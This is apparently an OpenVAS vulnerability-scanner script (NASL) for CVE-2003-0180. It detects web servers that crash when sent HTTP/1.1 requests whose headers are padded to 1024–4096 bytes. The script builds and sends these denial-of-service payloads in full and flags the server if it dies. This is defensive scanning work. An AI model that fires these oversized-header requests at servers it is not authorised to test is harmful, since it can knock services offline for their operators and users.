HTTP 1.1 header overflow

2005-11-03T00:00:00
ID OPENVAS:136141256231011129
Type openvas
Reporter Copyright (C) 2002 Michel Arboi
Modified 2020-05-05T00:00:00

Description

It was possible to kill the web server by sending an invalid request with a too long HTTP 1.1 header (Accept-Encoding, Accept-Language, Accept-Range, Connection, Expect, If-Match, If-None-Match, If-Range, If-Unmodified-Since, Max-Forwards, TE, Host)

                                        
                                            # OpenVAS Vulnerability Test
# Description: HTTP 1.1 header overflow
#
# Authors:
# Michel Arboi <arboi@alussinan.org>
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

# I don't even know if it crashes any web server...
# Cf. RFC 2068
#
# Vulnerable servers (not tested)
#
# Domino < 6.0.1
# From: "NGSSoftware Insight Security Research" <nisr@nextgenss.com>
# Subject: Lotus Domino Web Server Host/Location Buffer Overflow Vulnerability (#NISR17022003a)
# To: <bugtraq@securityfocus.com>, <vulnwatch@vulnwatch.org>,
#    <ntbugtraq@listserv.ntbugtraq.com>
# Date: Mon, 17 Feb 2003 16:19:20 -0800
#
# From: "Matthew Murphy" <mattmurphy@kc.rr.com>
# Subject: Multiple pServ Remote Buffer Overflow Vulnerabilities
# To: "BugTraq" <bugtraq@securityfocus.com>
# Date: Sun, 1 Dec 2002 12:15:52 -0600

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11129");
  script_version("2020-05-05T09:44:01+0000");
  script_tag(name:"last_modification", value:"2020-05-05 09:44:01 +0000 (Tue, 05 May 2020)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2003-0180");
  script_bugtraq_id(6951);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("HTTP 1.1 header overflow");
  script_category(ACT_DENIAL);
  # All the www_too_long_*.nasl scripts were first declared as
  # ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
  # The web server might be killed by those generic tests before the scanner
  # has a chance to perform known attacks for which a patch exists
  # As ACT_DENIAL are performed one at a time (not in parallel), this reduces
  # the risk of false positives.

  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");

  script_tag(name:"summary", value:"It was possible to kill the web server by sending an invalid request
  with a too long HTTP 1.1 header (Accept-Encoding, Accept-Language, Accept-Range, Connection, Expect,
  If-Match, If-None-Match, If-Range, If-Unmodified-Since, Max-Forwards, TE, Host)");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the web server
  crash continually or even execute arbirtray code on your system.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");

port = http_get_port(default:80);
if(http_is_dead(port:port))
  exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

r = string("GET / HTTP/1.1\r\nHost: ", crap(1024), "\r\n\r\n");

send(socket:soc, data:r);
r = http_recv(socket:soc);
http_close_socket(soc);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

r1 = string("GET / HTTP/1.1\r\nHost: ", get_host_ip(), "\r\n");

requests = make_list(
string(r1, "Accept-Encoding: ", crap(4096), "compress, *\r\n\r\n"),
string(r1, "Accept-Language: en, ", crap(4096), "\r\n\r\n"),
string(r1, "Accept-Range: ", crap(data:"bytes", length:4096), "\r\n\r\n"),
string(r1, "Connection: ", crap(data:"close", length:4096), "\r\n\r\n"),
string(r1, "Expect: ", crap(4096), "=", crap(4096), "\r\n\r\n"),
string(r1, "If-Match: ", crap(4096), "\r\n\r\n"),
string(r1, "If-None-Match: ", crap(4096), "\r\n\r\n"),
string(r1, "If-Range: ", crap(4096), "\r\n\r\n"),
string(r1, "If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 ", crap(data:"GMT", length:1024), "\r\n\r\n"),
string(r1, "Max-Forwards: ", crap(data:"6", length:4096), "\r\n\r\n"),
string(r1, "TE: deflate, ", crap(4096), "\r\n\r\n"));

foreach request(requests) {

  soc = http_open_socket(port);
  if(!soc)
    continue;

  send(socket:soc, data:request);
  http_recv(socket:soc);
  http_close_socket(soc);

  if(http_is_dead(port:port)) {
    security_message(port:port);
    exit(0);
  }
}

exit(99);